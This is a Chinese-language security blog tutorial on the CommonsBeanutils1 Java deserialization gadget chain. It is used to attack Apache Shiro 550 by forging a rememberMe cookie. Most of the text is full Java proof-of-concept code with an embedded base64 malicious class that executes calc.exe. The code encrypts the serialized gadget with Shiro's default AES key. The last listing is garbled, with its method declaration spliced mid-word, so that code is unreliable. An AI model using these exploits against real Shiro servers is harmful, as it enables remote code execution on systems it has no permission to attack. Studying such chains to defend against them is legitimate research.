CB利用鏈及無依賴打Shiro

2022-11-15 12:01:33

前言

前面已經學習了CC1到CC7的利用鏈,其中在CC2中認識了java.util.PriorityQueue ,它在Java中是一個優先佇列,佇列中每一個元素有自己的優先順序。在反序列化這個物件時,為了保證佇列順序,會進行重排序的操作,而排序就涉及到大小比較,進而執行java.util.Comparator介面的compare()方法。

那麼是否還能找到其他可以利用的java.util.Comparator物件呢?

Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一個專案,它提供了對普通Java類物件(也稱為JavaBean)的一些操作方法

比如,Cat是一個最簡單的JavaBean類

final public class Cat {
	private String name = "catalina";
		
   public String getName() {
		return name;
		}
	
   public void setName(String name) {
		this.name = name;
		}
}

它包含一個私有屬性name,和讀取和設定這個屬性的兩個方法,又稱為getter和setter。其中,getter的方法名以get開頭,setter的方法名以set開頭,全名符合駱駝式命名法(Camel-Case)。

commons-beanutils中提供了一個靜態方法PropertyUtils.getProperty ,讓使用者可以直接呼叫任意JavaBean的getter方法,比如

PropertyUtils.getProperty(new Cat(), "name");

此時,commons-beanutils會自動找到name屬性的getter方法,也就是getName,然後呼叫,獲得返回值。除此之外,PropertyUtils.getProperty 還支援遞迴獲取屬性,比如a物件中有屬性b,b物件 中有屬性c,我們可以通過PropertyUtils.getProperty(a, "b.c"); 的方式進行遞迴獲取。通過這個 方法,使用者可以很方便地呼叫任意物件的getter,適用於在不確定JavaBean是哪個類物件時使用。 當然,commons-beanutils中諸如此類的輔助方法還有很多,如呼叫setter、拷貝屬性等。

getter

前邊說了,我們需要找可以利用的java.util.Comparator物件,在commons-beanutils包中就存在一個:org.apache.commons.beanutils.BeanComparator

BeanComparator 是commons-beanutils提供的用來比較兩個JavaBean是否相等的類,其實現了java.util.Comparator介面。我們看它的compare方法

這個方法傳入兩個物件,如果this.property為空,則直接比較這兩個物件;如果this.property不為空,則用PropertyUtils.getProperty分別取這兩個物件的this.property屬性,比較屬性的值,上一節我們說了,PropertyUtils.getProperty這個方法會自動去呼叫一個JavaBean的getter方法,這個點是任意程式碼執行的關鍵。有沒有什麼getter方法可以執行惡意程式碼呢?

在[Java安全之動態載入位元組碼(https://www.cnblogs.com/gk0d/p/16880749.html)中,在分析TemplatesImpl時,有過這麼一段描述

追溯到到最前面兩個方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer() ,這兩者的作用域是public,可以被外部呼叫

其中TemplatesImpl#getOutputProperties()方法是呼叫鏈上的一環,它的內部呼叫了 TemplatesImpl#newTransformer(),也就是我們後面常用來執行惡意位元組碼的地方。

public synchronized Properties getOutputProperties() {
		try {
				return newTransformer().getOutputProperties();
		}
		catch (TransformerConfigurationException e) {
				return null;
		}
}

getOutputProperties這個名字,是以get開頭,正符合getter的定義。

所以,PropertyUtils.getProperty(o1,property) 這段程式碼,當o1是一個TemplatesImpl物件,而 property 的值為 outputProperties時,將會自動呼叫getter,也就是TemplatesImpl#getOutputProperties()方法,觸發程式碼執行。

利用鏈構造

首先建立TemplateImpl:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
   });
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然後,範例化BeanComparator ,BeanComparator建構函式為空時,預設的property就是空:

final BeanComparator comparator = new BeanComparator();

然後用這個comparator範例化優先佇列PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

可見,我們新增了兩個無害的可以比較的物件進佇列中。前文說過, BeanComparator#compare()中, 如果this.property 為空,則直接比較這兩個物件。這裡實際上就是對兩個1進行排序。

初始化時使用正經物件,且property為空,這一系列操作是為了初始化的時候不要出錯。然後,我們再用反射將property的值設定成惡意的outputProperties,將佇列裡的兩個1替換成惡意的TemplateImpl物件:

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj})

最終POC如下:

package org.example;

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "gk0d");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        Queue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ⽣成序列化字串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

Shiro550

之前在利用TemplatesImpl攻擊Shiro中寫了利用CC鏈加TemplatesImpl來攻擊Shiro。

這裡說一下,Shiro是依賴於commons-beanutils的,所以說只要有shiro就一定有CB,用CB利用鏈肯定會更加方便。

構造POC:

使用上面的CB鏈進行加密打Shrio試試

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class cb_shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "Arsene.Tang");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        Queue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ⽣成序列化字串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
}

Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

serialVersionUID

如果兩個不同版本的庫使用了同一個類,而這兩個類可能有一些方法和屬性有了變化,此時在序列化通 信的時候就可能因為不相容導致出現隱患。因此,Java在反序列化的時候提供了一個機制,序列化時會 根據固定演演算法計算出一個當前類的serialVersionUID值,寫入資料流中;反序列化時,如果發現對方的環境中這個類計算出的serialVersionUID不同,則反序列化就會異常退出,避免後續的未知隱患。

當然,開發者也可以手工給類賦予一個serialVersionUID值,此時就能手工控制相容性了。

我們在生成rememberMe的時候本地使用的是commons-beanutils1.9.4版本,而shiro自帶的是1.8.3版本。出現了serialVersionUID對應不上的問題。

所以我們直接將原生的commons-beanutils也換成1.8.3版本。再次生成Payload進行測試,仍然沒有觸發程式碼執行。

沒找到org.apache.commons.collections.comparators.ComparableComparator類,從包名即可看出,這個類是來自於commons-collections,commons-beanutils本來依賴於commons-collections,但是在Shiro中,它的commons-beanutils雖 然包含了一部分commons-collections的類,但卻不全。這也導致,正常使用Shiro的時候不需要依賴於 commons-collections,但反序列化利用的時候需要依賴於commons-collections。

無依賴的Shiro反序列化利用鏈

看看org.apache.commons.collections.comparators.ComparableComparator這個類在哪裡使用了:

BeanComparator類別建構函式處,當沒有顯式傳入Comparator的情況下,則預設使用 ComparableComparator

既然此時沒有ComparableComparator ,我們需要找到一個類來替換,它滿足下面這幾個條件:

  • 實現 java.util.Comparator介面
  • 實現java.io.Serializable介面
  • Java、shiro或commons-beanutils自帶

  public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }

CaseInsensitiveComparator類是java.lang.String類下的一個內部私有類,其實現了 ComparatorSerializable,且位於Java的核心程式碼

通過String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator物件,用它來範例化 BeanComparator

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

最後構造處新的利用鏈

package org.example;

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import static java.util.Base64.getDecoder;

public class cb_shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
        public static void main(St
    }ring[] args) throws Exception {
        byte[] code = getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "TemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final Queue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ⽣成序列化字串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
}

又報錯,因為我們後面新增的是兩個整形物件,不能轉換成字串型別,那我們把1改成"1"就解決了

queue.add(「1」);
queue.add(「1」);